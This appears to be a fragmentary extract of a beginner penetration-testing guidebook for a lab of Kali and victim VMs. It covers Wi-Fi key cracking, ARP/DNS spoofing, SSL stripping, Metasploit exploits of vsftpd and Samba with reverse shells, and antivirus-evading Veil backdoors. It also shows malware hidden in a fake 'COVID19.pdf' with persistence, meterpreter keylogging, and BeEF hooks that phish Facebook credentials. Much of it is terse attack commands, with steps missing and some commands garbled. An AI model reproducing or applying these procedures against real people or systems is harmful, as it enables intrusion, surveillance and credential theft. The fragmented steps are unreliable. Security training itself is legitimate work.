Penetration Testing Step-By-Step Guide
Penetration Testing Step-By-Step Guide
S_E_Oblako
PENETRATION TESTING
STEP BY STEP
GUIDE
Second Edition
Radhi Shatob
S_E_Oblako
Contents
1. Lab Setup preparations
1.1. Lab setup:
1.2. Install VirtualBox software
1.3. Installation of Attacker Machine (Kali Linux)
1.4. Installation of Victim-1 Machine (Metasploitable)
1.5. Installation of Victim- 2 machine (windows 10)
1.6. Install VBox Extension Pack and Guest addition
1.7. USB Wi-Fi Adpator
2. Wi-Fi Penetration Testing
2.1. Putting card in monitor mode
2.3. Sniffing specific AP
2.4. De-authentication attacks
2.5. WEP encrypted networks crack
2.6. WPA Encrypted Network crack
2.7. EAPOL protocol
2.8. Fake access Point
2.9. Securing Wireless Network
3. Post Connection Attacks
3.1. Network discovering
3.2. Using NMAP tool
3.3. Man in the Middle Attacks (MiTM)
3.4. ARP Spoofing
3.5. MiTM with Bettercap tool
3.6. MITM DNS Spoofing
3.7. MiTM Java code injection
S_E_Oblako
Preface
Penetration testing is the practice of penetrating networks, systems, and
applications to find vulnerabilities that hackers may use to infiltrate the
system and cause damage to the business. Penetration tests require hackers,
either a single skilled hacker or a team of hackers, to probe the network and
systems to access to the business data and information. The business’s
information security department is then informed by official report of the
vulnerabilities.
To meet some information security standards, businesses are required to
perform penetration tastings on a regular basis in order to keep certified by
the standard. For example, Payment Card Industry Data Security Standard
(PCI DSS) requires a yearly penetration test to be done by the businesses to
maintain certification. The demand for skilled penetration testers extremely
high and it will be higher in the coming years.
This book is intended for people who have no prior knowledge of penetration
testing, ethical hacking and would like to enter the field. This is not a
theoretical book but a practical step by step guide to penetration testing that
teaches the techniques and tools that real hackers use to hack networks and
exploit vulnerabilities. The guide is based in Kali Linux and other tools that
real hackers use. This guide assumes that readers have no knowledge Kali
Linux and teaches you through penetration testing exercises. This guide
covers the all the phases of penetrations testing starting from reconnaissance,
scanning, gaining access, maintaining assess and covering tracks. The main
feature of the guide will be 73 Pen-tests exercises that cover wireless and Wi-
Fi penetration testing, client side penetration testing, server side penetration
testing, creating and delivering malware, social engineering, email spoofing
,complete web penetration testing and Mobile phones penetration testing. I
hope you find this guide helpful and insightful as you learn more about
penetration testing.
Radhi Shatob
S_E_Oblako
Do not be malicious.
Do not use skills learned in illegal activities.
If you are doing Penetration testing for external Client, keep all
data gathered during the penetration testing confidential and do
not not reveal the Data to anyone without the consent of the
client.
Do not use computer to harm or interfere with other people’s
work.
Neither the author of this book, nor the publisher encourage the misuse of the
penetration testing exercises listed in this book.
S_E_Oblako
1
LAB SETUP
https://information.rapid7.com/metasploitable-download.html
- Right click the VMs, go to setting, Network, and choose NAT network
as follow
S_E_Oblako
#sudo apt-get install terminator (terminal software more flexible than the
build in terminal software)
#sudo apt-get upgrade
To avoid typing sudo each time you enter a command, login as root but first
you should setup password for the root account, the following procedure
show how to setup a root password
1. Login as kali/kali
2. Type #sudo su and enter Kali password
S_E_Oblako
- Type #iwconfig
Commands:
#ifconfig wlan0 down
#macchanger --random wlan0
#ifconfig wlan0
S_E_Oblako
2
Wi-Fi Penetration Testing
In this chapter you will learn how to use special wireless card to
collect packets off the air and monitor Wi-Fi traffic plus cracking
WEP and WPA WI-FI encrypted networks also you will learn how
to make a fake access point and collects Packets that passing
through your access point. At the end of the chapter there is guide
on how to protect wireless Wi-Fi network from such attacks
S_E_Oblako
#hostnamectl
Putting card in to monitor mode will allow it to capture any packets off the
air, even packets not directed to its mac address
S_E_Oblako
Card Mode - Managed: if the card mode is managed, it will only can see the
packets that targeted the card mac address or broadcast, to make the card to
see all packets in the air it has to be changed to monitor mode.
#iwconfig
#ifconfig wlan0 down
#airmon-ng start wlan0
Output
S_E_Oblako
#iwconfig
#airodump-ng wlan0
S_E_Oblako
Use aircrack-ng tool to crack the key from the captured file as the
following example:
#aircrack-ng [filename]
Ex: #aircrack-ng out-01.cap
Notes
The higher the encryption key (24 bit, 32 bit , 64bit or 128bit )
the more time required to crack the key.
The busier the network (more packets generated and collected)
the shorter time needed to crack the network).
You can have both tools ( airodump-ng ) and ( aircrack-ng)
S_E_Oblako
`
S_E_Oblako
Commands:
#aireplay-ng –fakeauth [number of packets] -a [target MAC] -h [your MAC]
[interface]
Ex. #aireplay-ng –fakeauth 100 -a E0:69:95:B8:BF:77 -h
00:C0:CA:6C:CA:12 Wlan0mon
send it back to the AP and in the same time taking the output file and send it
to aircrack-ng tool to find the key
S_E_Oblako
At this point an attacker would have been able to intercept enough of the
handshake to perform a password cracking attack.
Construction of the PMK
Pairwise-Master-Keys are used during the creation of the Pairwise-Transient-
Keys and are never actually transmitted across the network. They are derived
from the Pre-Shared-Keys (Enterprise Wi-Fi uses a key created by EAP)
along with the other information such as SSID, SSID Length. The PMKs are
created using the Password-Based Key Derivation Function #2 (PBKDF2),
with the SHA1 hashing function used with HMAC as the message
authentication code:
PMK = PBKDF2(HMAC−SHA1, PSK, SSID, 4096, 256)
HMAC-SHA1 is the Pseudo Random Function used, whilst 4096 iterations of
this function are used to create the 256-bit PMK. The SSID is used as a salt
for the resulting key, and of course the PSK (passphrase in this instance) is
used as the basis for this entire process.
Construction of the PTK
The creation of the Pairwise-Transient-Keys is performed via a another PRF
(using an odd combination of SHA1, ending in a 512-bit string), which uses a
combination of the PMK, AP MAC Address, Client MAC Address, AP
Nonce, Client Nonce. The result is this 512 bit Pairwise-Transient-Key,
which is a concatenation of five separate keys and values, each with their
own purpose and use:
Any access point shows WPS = 1 that mean WPS is enabled in that access
point.
Reaver support start and resume, if you cancel the attack after reaver
reaches 30% of brute force attack and then resume later for the same
AP it will resume from 30%
#reaver -–help (for more advanced options in reaver)
If you use -vv and -f with the reaver command, then the tool will
show more information about what pin it is trying to crack.
Reaver may take hours to crack the WPS PIN.
5. Open new terminal window and type the following command to force
client to disconnect and connect back again to capture the handshake
while airodump still running and writing to file
#aireplay-ng –deauth 5 – a <AP mac> - c < client mac> wlan0mon
Stop the live capture and check the file using Wireshark to make
sure that the file captured contain at least 4 handshake packets.
Open file manager /home and check the captured file named hs
file
ftp://ftp.openwall.com/pub/wordlists/
http://www.openwall.com/mirrors/
https://github.com/danielmiessler/SecLists
http://www.outpost9.com/files/WordLists.html
http://www.vulnerabilityassessment.co.uk/passwords.htm
http://packetstormsecurity.org/Crackers/wordlists/
http://www.ai.uga.edu/ftplib/natural-language/moby/
http://www.cotse.com/tools/wordlists1.htm
http://www.cotse.com/tools/wordlists2.htm
http://wordlist.sourceforge.net/
Or you can create your own wordlist using “crunch” tool that comes part of
Kali
#crunch [min] [max] [characters=lower|upper|symbos] -t [pattern] -o file
For the pattern if you know some characters of the password but not all you
can put them here, like the password start with A and end with U so you
can put A@@@@@@U
Now we are going to use the aircrack-ng tool to crack the key , it
does this by combining each password in the wordlist file with the
AP name ( ESSID) to compute Pairwise Master Key ( PMK) using
the pbkdf2 algorithm the PMK is compare to the handshake file.
S_E_Oblako
2. Start wifipumpkin3
#wifipumpkin3 -i wlan0
S_E_Oblako
wp3> help
S_E_Oblako
-type wp3>start
Wp3>stop
Wp3>set ssid FREE_INTERNET
Wp3>start
S_E_Oblako
Conclusion:
- WEP encryption is an old encryption method and have major
vulnerability and should not be used at all, as it can be cracked easily
regardless of the complexity of the password and even if there is
nobody connected to the network.
- Use WPA2 with a complex password, make sure the password
contains small letters, capital letters, symbols, and numbers.
- Enterprises that have Active Directory and wireless controller should
integrate the access to the Wi-Fi with Active directory so no shared
Wi-Fi password is used.
- WPS feature is disabled in Wi-Fi Routers as it can be used to crack
your complex WPA2 key by brute-forcing the easy WPS pin.
S_E_Oblako
3
Post Connection Attacks
The wireless card should be in client mode and have IP address from the
network
Exercise 9: Using Network Discovery tool netdiscover
#netdiscover -i wlan0 -r 192.168.0.1/24
S_E_Oblako
- Start zenmap
#zenmap
S_E_Oblako
Note
The above exercise is to make you familiar with NMAP tool. Nmap
is main tool that used in all vulnerability assessment tools that
hackers start with to discover open ports in servers. Open port means
a service that could be exploited and lead to server penetration. We
are going to use NMAP in other penetration tests throughout this
book.
S_E_Oblako
ARP spoofing
DNS Spoofing
STP mangling
S_E_Oblako
DHCP Spoofing
ICMP redirection
And more
#bettercap -iface eth0 (eth0 is the Kali interface that we are going to use for
Bettercap)
3- Type help to see the commands that can be used and the modules inside
bettercap tool and the status of each module if is running or not.
S_E_Oblako
4- To see how to use a module you can type help followed by the module
name
S_E_Oblako
7- Net.probe module send probe packets to all of the subnet that the
Bettercap reside on and net.recon record the responses from clients in a
nice table and enabling net.probe module will automatically start
net.recon module
8- Type help
S_E_Oblako
9- Type net.show
Note
you can change any module in better cap the same way, just type set
followed by the module name and then the parameter as shown in the
help.
You can use tab to autocomplete the parameter name.
5. Turn the module on
>net.sniff on
S_E_Oblako
4. Make sure that you exit previous Bettercap session by typing exit
5. Type #betttercap -iface eth0 -caplet arpspoof.cap
S_E_Oblako
6. To make sure that arp.spoof run with all required modules enabled
type >help
S_E_Oblako
7. To see all the available caplets that come with Better cap
#cd /usr/share/bettercap/caplets
#mousepad arpSpoof.cap
Inside the file add the following line
Set net.sniff.local true
S_E_Oblako
Bypassing https
Bypassing https attack or in other words SSL Strip attack is a Man In The
Middle (MITM) Attack by which a website secured with HTTPS is
downgraded to HTTP, All traffic coming from the victim machine is routed
to a proxy which is created by the attacker to force the victim machine to use
HTTP instead of HTTPS. SSL strip was discovered by hackers through a
simple observation that most users are not coming to SSL websites by
directly typing in the URL or a bookmarked Https:// abc.com, visitors
connect to a non-SSL site and it gets redirected (HTTP 302 redirect), or they
will connect to a non-SSL site which have a link to SSL site and they click
that link. HSTS header is not a redirect instead, the website tells the user web
browser to use HTTPS to connect to website.
HSTS.
HSTS (HTTP Strict Transport Security) is a web security technique that helps
you protect against downgrade attacks, MiTM (Man in the middle) attacks,
and session hijacking. HSTS accomplishes this by forcing web browsers to
communicate over HTTPS and rejecting requests to use insecure HTTP.
Originally drafted in 2009 by a group of PayPal employees, HSTS was first
published in 2012. Today, the HSTS header is recognized by IETF as Internet
Standard and has specified it in RFC 6797.
Why HSTS?
Man in the middle attack works very well in public Wi-Fi or any Wi-Fi that
the attacker has access to, it is very easy for someone with knowledge and
tools to lunch man in the middle attack and see the traffic of a victim if it is
not encrypted, normally HTTPS encrypt the traffic from the victim web
browser to the website, but MiTM (Man In The Middle) attack also have
away to break HTTPS traffic by doing SSL stripping technique which is to
force the web browser to use HTTP instead of HTTPS. Here HSTS header
comes handy to protect HTTPS traffic from being downgraded by attacker to
HTTP. The Website contain a header that tells the victim web browser to use
only HTTPS to communicate with the website, the Web Browser then store
this information and next time the user connect to the Website, even if the
user type HTTP the browser automatically change it to HTTPS without
communicating with the Website and therefore the traffic cannot be
downgraded to HTTP and the SSL stripping will not work.
S_E_Oblako
Dynamic
In the First screenshot the site is set to a Dynamic mode which means that the
browser has been instructed to enable HSTS by an HTTP response header
(served over TLS) like the following:
Strict-Transport-Security: max-age=157680000; includeSubDomains ;
This is a vulnerable to an attack whereby the very first time the browser
requests the domain with http:// (not https://) an adversary intercepts the
communication.
S_E_Oblako
Static
As shown in the second screen shot of facebook.com query it set to static_sts
this is to overcome the weakness of Dynamic mode . The static mode allows
for hard-coding HSTS records directly into the browser's source. The header
is changed to indicate the administrator's intention:
Strict-Transport-Security: max-age=157680000; includeSubDomains;
preload
Note
the inclusion of preload at the end. The domain is then submitted for review.
If approved then it is added to the Chromium list and is also included in the
Firefox, Safari, and IE 11+Edge lists.
SSL Stripping attack conditions:
site.
S_E_Oblako
1. In this exercise we are going to use two caplets, the arpspoof caplet
and the hstshijsck caplet to downgrade https connections to http and
see the traffic in clear text. However most of websites comes with
preloaded lists of sites that they only connect with https and this
such as facebook , twitter linkedin and more and in this case ssl
strip attack will fail against these websites
2. Start both Windows and Kali virtual machines
3. In Kali start bettercap
4. In Windows machine open Firefox web browser and clear cash of the
browser then go to a site that does not have static hsts such as
www.linkdin.com
5. See the output of bettercap sniffer
S_E_Oblako
S_E_Oblako
4. From Windows virtual machine make sure that you can reach the
Kali website by entering the IP address of Kali in the web browser.
9- Then enter www.radh-infosec.ca, you are going to get the Kali webpage
S_E_Oblako
The Bttercap sniffer shows that the dns query to www.rad-infosec was
spoofed and redirected to local Kali Machine.
If you enter rad-infosec.ca address which is https sites with hsts header that
stored in the web browser memory, then bettercap will attempt to respond but
it will fail because the website that kali presenting to the browser is non https
website , bettercap will be as follow
S_E_Oblako
#cd /
#mousepad javacode
Enter: alert(‘TEST JAVA CODE INJECTION’); and save the file as
javacode.js
#cd /usr/share/bettercap/caplets/hstshijack
5. From windows machine go to http site, you will notice the java alert
will be displayed
S_E_Oblako
6. Go to https site that does not have static hsts ( web browser cash
must be cleared)
S_E_Oblako
1. External (USB) Wi-Fi card must be used as the internal Wi-Fi card
cannot inject packets to poison ARP.
4
Gaining Access (Server Side)
Client side
Gaining access to someone computing devices require more information
gathering and social engineering skills to make user interaction such as
opening a file or clicking on a link.
4.1. Server-Side attacks
Basic Information gathering and exploitation
10. In the output of Zenmap check the open ports (services) given and
check the internet for these services vulnerability, backdoors and
exploit.
11. We are going to show two examples from the output of Zenmap:
12. Ftp service clearly shows that anonymous can access the server
through ftp without the need for username and password
13. Install ftp client like filezilla (https://filezilla-project.org) to start
browsing the files inside that server
14. If you dig further in the internet about the ftp version weaknesses
you might find a tool that allow you to have access to the server
itself, not only to the ftp section of it.
15. Port 512/TCP is open and has a service of netkit-rsh rexecd which
is a remote Process execution service in Linux systems.
S_E_Oblako
S_E_Oblako
4. Google vsftpd 2.3.4 to see if there are any backdoors of this process
and if there is exploit to use that backdoor
5. Output shows that there is backdoor
S_E_Oblako
6. Copy the name of the Module that can open the back door
7. Go to Kali Linux terminal and type
8. #msfconsole to start the Metasploit
S_E_Oblako
msf>search vsftpd
10. After starting the exploit module type > show options
11. From the option command we can see that there are two options,
one is the RHOST (Remote Host) and RPORT ( Remote Port) so
we are going to connect to the machine using the RHOST by giving
the exploit the IP address of the target machine
12. Input the IP address of target machine > set RHOST 10.0.2.8
S_E_Oblako
14. As you can see from the above screen shot, we have a root access to
the target machine, we can do anything we want in that machine.
2. Google for Samba service 3.x in port 139 to see its vulnerability
3. Take the result from Rapid7 website (Rapid 7 is the same company
that developed the Metasploit framework)
S_E_Oblako
S_E_Oblako
Samba program.
Samba is a file and print services for all clients using
the SMB/CIFS protocol, such as all versions of DOS
and Windows, OS/2, Linux, and many others. Samba
is an important component to seamlessly integrate
Linux/Unix Servers and Desktops into Active
Directory environments). It can function both as a
domain controller or as a regular domain member.
Samba version that running in the Metasploitable
machine has a vulnerability of buffer overflow that
allow adversaries to run small code inside it, we need
to create a PAYLOAD and run it in the target
computer, the Payload will let us run Linux commands
in the target machine.
9. To see the different type of payloads type >show payloads
10. Notice that there are bind payloads and there are reverse payloads
Payloads: are small paces of code that will be executed inside the target
machine once the vulnerability exploited.
S_E_Oblako
11. We are going to use reverse payload to bypass the firewall in the
target network.
The reverse payload is that the victim machine initiates the connection
to the attack machine (Kali Linux).
12. Use msfconsole in kali to setup the port and IP address of Kali
machine that the victim should make the connection to.
Type
>set PAYLOAD cmd/unix/reverse_netcat
>show options
13. The LHOST is the attacker machine IP address (Kali ), the LPORT
is to setup the port
14. Check Kali machine IP address
S_E_Oblako
5.
Vulnerability Management
5. Vulnerability Scanning
Vulnerability scanning is an inspection of the potential points of exploit on a
computer or network to identify security holes.
A vulnerability scan detects and classifies system weaknesses in computers,
networks and communications equipment and predicts the effectiveness of
countermeasures. A scan may be performed by the organization IT
department or by a security service provider, possibly as a condition imposed
by some authority. Vulnerability scans are also used by attackers looking for
points of entry.
A vulnerability scanner runs from the end point of the person inspecting the
attack surface in question. The software compares details about the target
attack surface to a database of information about known security holes in
services and ports, anomalies in packet construction, and potential paths to
exploitable programs or scripts. The scanner software attempts to exploit
each vulnerability that is discovered.
Running a vulnerability scan can pose its own risks as it is inherently
intrusive on the target machine’s running code. As a result, the scan can
cause issues such as errors and reboots, reducing productivity.
There are two approaches to vulnerability scanning, authenticated and
unauthenticated scans. In the unauthenticated method, the tester performs the
scan as an intruder would, without trusted access to the network. Such a scan
reveals vulnerabilities that can be accessed without logging into the network.
In an authenticated scan, the tester login as a network user, revealing the
vulnerabilities that are accessible to a trusted user, or an intruder that has
gained access as a trusted user.
5.1. Basic Vulnerability detection methods
Vulnerability detection method start by vulnerability scanning software read
the target banner or application version or checking a protocol version that
the target system is using. Then the vulnerability scanning software checks
the vulnerability databases, by looking at these databases the vulnerability
scanning software can know if there is a weakness in that application, Service
or OS.
Protocols that applications uses in communications with client may have
vulnerability also, for example a week encryption method in communication
protocol can be exploited easily, The vulnerability scanner can send different
packets in the network to examines the behavior of the service against these
S_E_Oblako
Nmap NSE: Nmap is port scanning software but with the help of
Nmap Scripting Engine NSE it is possible to use Nmap as a
vulnerability scanner.
Nessus: Nessus is a vulnerability assessment software developed by
Tenable Network security is one of the most popular and capable
vulnerability scanners. Nessus Professional is the commercial
product in addition a free Nessus community version is also
available, but it is limited and can only licenses for home networks.
Fill the information to get one-year free license key via email.
Download Linux version as we are going to use in kali Linux.
Stop Postgresql database in Kali Linux because Nexpose come with
its own postgresql database and it will conflict with Kali Linux
database
run file
# ./Rapid7setup-Linux64.bin
#cd /opt/rapid7/nexpose/nsc
start Nexpose
#./nsc.sh
S_E_Oblako
First time it will take about 30 minutes to start because it will update
its vulnerability database.
Open Firefox and go to Click on Advances
https://localhost:3780
installation and then enter license number that you received from
Rapid7 via email.
Note
If you choose to start Nexpose service automatically during the installation
that could cause Nexspose to fail to start, if you face that scenario do the
following:
- Stop Nexpose Service (see command in the above screen capture)
- Disable Nexpose from starting automatically
- Start Nexpose service
- Restart Kali Machine
- Start Nexpose
S_E_Oblako
2. In Nexpose configuration GUI, create a site, give the site Name and
description
S_E_Oblako
3. Click on Sites and add the IP address of the machines that you need
to scan them
4. Click Save
5. Click one Site Name
6. Click Scan Now and give the scan a Name then start the scan
7. The scan will take at least 15 minutes to finish
S_E_Oblako
your overall risk trends over time. Or members of your security team may
need to see the most critical vulnerabilities for sensitive assets so that they
can prioritize remediation projects. It may be unnecessary or undesirable for
these stakeholders to access the application itself. By generating reports, you
can distribute critical information to the people who need it via e-mail or
integration of exported formats such as XML, CSV, or database formats.
Reports provide many, varied ways to look at scan data, from business-
centric perspectives to detailed technical assessments. You can learn
everything you need to know about vulnerabilities and how to remediate
them, or you can just list the services are running on your network assets.
You can create a report on a site, but reports are not tied to sites. You can
parse assets in a report any number of ways, including all your scanned
enterprise assets, or just one.
Click on the Report icon on the right left side of the screen
Give Name to the report
Choose the report type:
Audit Report: detailed report about each vulnerability.
Executive Report: Summarized Report
Newly discovered Assets: if you scanning a complete
subnet it will show discovered devices
Top 10 vulnerabilities Report
Choose the scan
Run the report
S_E_Oblako
S_E_Oblako
Discovered Vulnerabilities
S_E_Oblako
6
Gaining Access (Client-Side Attacks)
Client site attack differ from Server side attack because it need the
end user interaction by downloading and running a malware that
will create a back door inside the client machine or gather
information from the client machine and send it to the hacker
machine. this kind of attacks need a lot of information gathering
and social Engineering to convince or deceive the client to click on
a file or link sent to him. In this section we are going to use Veil-
Evasion framework to generate payload executable that can bypass
common Antivirus software. Viel Evasion is an open source
framework that located at https://www.veil-framework.com/
S_E_Oblako
#cd Veil
7. After Veil completely installed close the terminal and open new
terminal and start Veil
#cd Downloads/Veil/Veil/
#./Veil.py
As you can see the green commands that we can run in Vial.
8. Type
#list
Evasion: is the program which generate backdoors
Ordnance: The program that generate the payload that used by Evasion, The
payload is a part of the code that allow us to control the target machine like
S_E_Oblako
Veil/Evasion>: use 7
S_E_Oblako
address) and if you like to change the port, change the value of
LPORT.
5. Type: generate to generate the payload then, give a name to the
new windows malware created.
6. The File will be stored /var/lib/veil/output/compiled/revtcp23.exe
7. This file is the malware that when installed in Windows 10 machine
and not detected by Windows defender or other Antivirus software
,it will create a backdoor connection from the victim to the attacker
machine which its IP address provided as part of the file creation (
Kali ) ,also The port is configured because the Attacker machine
need to listen to that port in order to make the connection.
S_E_Oblako
allows you to remove the file manually without damaging your computer.
Checking if the generated file is detected by AV
There are some websites that scan the software against well-known anti-
malware detection software, some these sites like virus total will take the
signature of the file that you upload and will update the anti-malware
software vendors. The free websites that do not share uploaded files do not
stay live for a long time.
There are websites that review and rank these websites and show if the
website shares the uploaded file with antivirus vendors or not. you need to
search Google for “Online Multi Engine Antivirus scanners”
Here is an example:
S_E_Oblako
These sites will ask you to upload your file, then they scan it and give you the
results.
S_E_Oblako
#msfconsole
S_E_Oblako
#exploit to start
Notes
S_E_Oblako
If you get error “failed to bind to” either change the port in
the Veil file created and repeat the Listening steps in Kali or
use the below procedure to see what process using the port
8080.
You can Kill the process that is using the port 8080
S_E_Oblako
#mkdir malware
#cp /var/lib/output/compiled/revtcp23.exe /var/www/html/maleware
4. If you already have index.html file under html folder then create a
new folder under html folder and put the vail created file under it.
S_E_Oblako
6. start Windows machine from VBOX and open Browser and connect
to Kali website then go to http://Kali_ip/maleware
10. when you get meterpreter session that mean that the backdoor
successfully made reverse connection to Kali machine.
11. In Kali meterpreter session type >sysinfo
12. Type >help to see available commands and functions that you
can run on the victim machine.
S_E_Oblako
Notes
5. The PROCESSORS and SLEEP parameters will not affect the file,
but they will help in the Antivirus evasion as they change the file
signature
S_E_Oblako
#msfconsole
msf5> set exploit/multi/handler
msf5>set payload windows/meterpreter/reverse_https
msf5>set LHOST 10.0.2.23
msf5>set LPORT 4445
S_E_Oblako
msf5>exploit
shell
S_E_Oblako
#chmod +x Kage.0.1.1.-beta_linux.AppImage
S_E_Oblako
#./Kage.0.1.1.-beta_linux.AppImage &
#msfconsole
msf5>load msgrpc
S_E_Oblako
10. Go to the folder Kage under root and rename the file to .exe
S_E_Oblako
.
S_E_Oblako
S_E_Oblako
Notes
10. Have a real PDF file that will be used to hide the malware.
11. In the windows desktop, you should have the following files.
S_E_Oblako
12. Highlight Malware and PDF file and add them to archive
13. Give the archive a name and choose create SFX archive then click
on advanced
S_E_Oblako
14. Click on SFX options -> update and choose Extract and update
files and overwrite all files (see screenshot)
S_E_Oblako
15. Then click on Setup tab and add the malware name ended with .exe
and followed by Pdf file name ended with pdf
S_E_Oblako
17. Then click on Text and icon tab, in the bottom load SFX icon from
file and choose the ico file that we created.
S_E_Oblako
The file COVID19.pdf is the final embedded PDF file that when opened the
malware will automatically started and make a reverse connection to the Kali
machine.
#msfconsole
#use exploit/multi/handler
#set PAYLOAD windows/mterpreter/revrese_tcp
#set LHOST 10.0.2.23
#set LPORT 4444
#Set ExitOnSession false
#set AutoRunScript exploits/windows/local/persistence LPORT=4444 (this
command to make the malware file persistence )
#exploit -j
S_E_Oblako
20. Go to Windows machine and open the PDF file, the reverse
connection will start to Kali
#sessions
#sessions 1
21. Start Kage and setup job to interact with the session
S_E_Oblako
22. Go back to Windows and close the PDF file, notice that the session
did not close.
23. Reboot Windows machine and monitor Kali msfconsole for new
S_E_Oblako
>Sessions 3
25. In Kage remove the old sessions and create new session because the
session number is change after the reboot.
26. To Clean up Windows 10 from the Malware persistence mode
delete the Jvb script located under
c:/Users/Administrator/AppData/local/Temp or use the provided
cleanup script
Same procedure used to imbed a PDF file with malware, can be used to
embed an Image with malware.
1. Go through exercise 34, just replace the PDF file with an image.
7
Post
Exploitation
7. Post exploitation
Post exploitation is that after the attacker gain access to the victim computer
using backdoor program or another method, he will try to have full control of
the victim PC by reading, copying, writing or deleting files and running PC
peripherals like Camera , mic , ..etc. In this section we have exercise to
create backdoor file using Veil and then using Metasploit console to listen to
the request to connect coming from the backdoor file when it is delivered to
the victim PC, for testing purposes we are going to use same file created in
exercise 32 and the same basic delivery method which was through Kali
website.
7.1. Metasploit meterpreter commands
Exercise 36: Post Exploitation
1. Start Kali Machine
2. Check the port used in the backdoor file that created by Viel in
Exercise 32
9. To see all possible commands that we can run in the victim machine
run command
S_E_Oblako
meterpreter>help
meterpreter>background
10. The background command makes the backdoor running in the
background.
meterpreter>sessions
show currently running sessions
Notes
2. Here is a list of file system commands that I can run in the victim
machine
S_E_Oblako
Note
To deal with Windows files or folders names that have space
put the name between single quotation marks ‘xxxx xxxx’ .
5. Meterpreter allow to get direct Windows shell.
To switch back to meterpreter hit Control + C
8. Go to windows machine and run the malware file again, and watch
msfconsole output
S_E_Oblako
#meterpreter> keyscan_start
#meterpreter> keyscan_dump
5. You will see the keys that entered in the Windows machine
#meterpreter> keyscan_stop
8. To see screenshot from the victim machine
S_E_Oblako
8
Social
Engineering
8. Social Engineering
Social Engineering depend on information gathering about the target,
whether the target is a person, a company, or a web site. The methods of
information gathering do not need to be close to the target and use techniques
such as man in the middle. The type of information that gathered about the
target is their Facebook, LinkedIn, Google accounts, their friends, what web
sites that usually visit and more. After gathering information about the
target, then the attacker will build strategy on how to gain access to that
target either by gaining their trust and send them a backdoor software or by
making them reveal their account password. There are many ways to gather
information about a person or an entity, some are free tools available through
the internet such as Google Dorks, other tools that is come preloaded with
Kali such as Recon-ng.
After gathering information Hackers will start building strategy to attack the
victim, which could be an email from a friend or other trusted source. Taking
advantage of the trust and curiosity, the message of the email may contain a
link that you just have to check out–and because the link comes from a friend
and you’re curious, you’ll trust the link and click on it –and be infected with
malware so the Hacker can take over your machine and collect your contacts
info and deceive them just like you were deceived. Or a message that contain
compelling story that your ‘friend’ is stuck in country X and he lost all his
money and need you to send him money.
Also, Social Engineering may take a form of bait, these social engineering
schemes know that if you dangle something people want, many people will
take the bait. These schemes are often found on Peer-to-Peer sites offering a
download of something like a new movie, or music or software with ‘Crack’.
8.1. Maltego
Maltego is a cross platform application, for performing link analysis.
Discover relationships between entities and build a visual representation of
different data with a graph-based layout. A transform is a process that pulls
new data related to the entity, automatically extending the graph.
Maltego is commonly used for reconnaissance in penetration testing
engagement and open source intelligence analysis. It is possible to understand
the relationship between infrastructure services and even users when
mapping an organization’s attack surface.
There are two types of Transforms within Maltego, one runs on servers
S_E_Oblako
remotely the other can run locally on the system running Maltego.
Maltego comes installed in Kali Linux , you just need to register the first time
you run the tools in order to get the license
5. After update is done choose to install Free API, every API there is a
description of the function that API such as querying specific
Database.
6. Some APIs require a key, you need to register with the site
mentioned in the API and they will email you the key.
S_E_Oblako
8. Choose what you want to search for from the left side pane – for
example choose domain – drag and drop in the middle area
S_E_Oblako
11. Maltego will use the installed transforms to do a search about the
domain you entered and display a visual links about the found
information. You can verify every link and what kind information it
provided, and you can do deep search in the item found.
12. You can use other tools to help you further know more about the
found items for example you can use Shodan to find out more
inform about a device, if there is a link found, use the web browser
to see the content of that link.
The information in this page will be used in Kali #sendemail tool , the SMTP
S_E_Oblako
#sendemail --help
S_E_Oblako
Note
Most of email servers that uses blacklist services will detect the email from
sendinblue and other free SMTP relay services as spam or promotion because
Anti-Spam vendors will blacklist such services. In exercise above the Gmail
list the mail under Promotion folder and Office 365 show that the email came
via sendinblue.com. The workaround is using Web-hosting services email or
S_E_Oblako
9
Web Browser Exploitation with
BeEF
BeEF stands for the Browser Exploitation Framework. It is a
penetration testing tool that focuses on the web browser. Amid
growing concerns about web-borne attacks against clients,
including mobile clients, BeEF allows the professional penetration
tester to assess the actual security posture of a target environment
by using client-side attack vectors. Unlike other security
frameworks, BeEF looks past the hardened network perimeter and
client system and examines exploitability within the context of the
one open door: the web browser. BeEF will hook one or more web
browsers and use them as bases for launching directed command
modules and further attacks against the system from within the
browser context. BeEF framework generate a one line java code
that when it is inserted in a website, it will hook the website
visitors and create a connection between the visitor web browser
and the BeEF server, then allow attacker to run commands on the
visitor machine.
BeEF comes preinstalled in older Kali versions (2019.2 and older),
so you should not have to install anything if you're running one of
those versions on your computer.
In mid-2019, Kali removed BeEF as a preinstalled exploitation
tool, moving it from "kali-linux-default" to the "kali-linux-large"
metapackage. That means, if you installed a fresh version of kali
Linux , you will need to install BeEF manually.
In this section we are going to run BeEF and see how it hook the
web browser and what commands can be sent from BeEF server to
the victim browser.
S_E_Oblako
9. Browser exploitation
Exercise 42: Browser Exploitation with BeEF
In this exercise we are going to use BeEF to hook and control users who
access the DVWA website ( DVWA is a website for testing vulnerabilities
that comes part of Metaspolitable virtual machine) by adding BeEF script to
as XSS stored vulnerability. The BeEF hook will allow us to perform many
tasks in the victim machine like trick the user to enter Facebook credentials
thinking that Facebook asking him to relogging plus many other commands
that we can do from BeEF hook.
In real life scenario this is send by hackers in a phishing email that contain a
link to a website that the hacker either have exploited XSS vulnerability or
the website is designed by the hacker which has BeEF hook imbedded inside
a java script in the website.
Note
If you are running Kali 2019.2 or older, BeEF comes already installed, if you
have newer version of Kali such as 2019.3 and higher including Kali 2020 ,
you will need to install BeEF manually. To check if you have BeEF installed
or not in the Kali version you have, go to Kali applications and search for
Beef, if it is not their then follow BeEF installation procedure in point 8
below.
c. #sudo ./install
d. To start Beef for the first time you will get error that default
username and password in use.
e. Make sure to switch to root account #sudo su
f. Then edit the file in beef confi.yaml using mousepad text
editor ( or any file text editor) and save.
#sudo su
#mousepad config.yaml
#./beef
9. If Beef installed manually, every time you want to run beef you
need to do the following:
#cd /opt/beef
#sudo ./beef
S_E_Oblako
Now check BeEF window in Kali, you will see that Windows 10 IP address
is under online browser
S_E_Oblako
20. Look at the Windows 10 browser, you will see Facebook login
dialogue, enter and username and password
S_E_Oblako
21. Go to Kali BeEF page and see the information that entered by the
victim user.
Note
we will know more about Store Cross Site Scripting XSS vulnerability that
we used in the above exercise in the Web penetration testing section.
#./beef
S_E_Oblako
#leafpad /var/www/html/index.html
13. Look at Beef page in Kali, you will notice new online machine is
listed
18. Go to Windows you will see message bar with a request to update
Firefox
19. Click on install plugin , the update.exe file will be downloaded into
the Windows 10 machine
10.
Detecting Trojans
Ransom Trojan: This Trojan seeks a ransom to undo damage it has done to
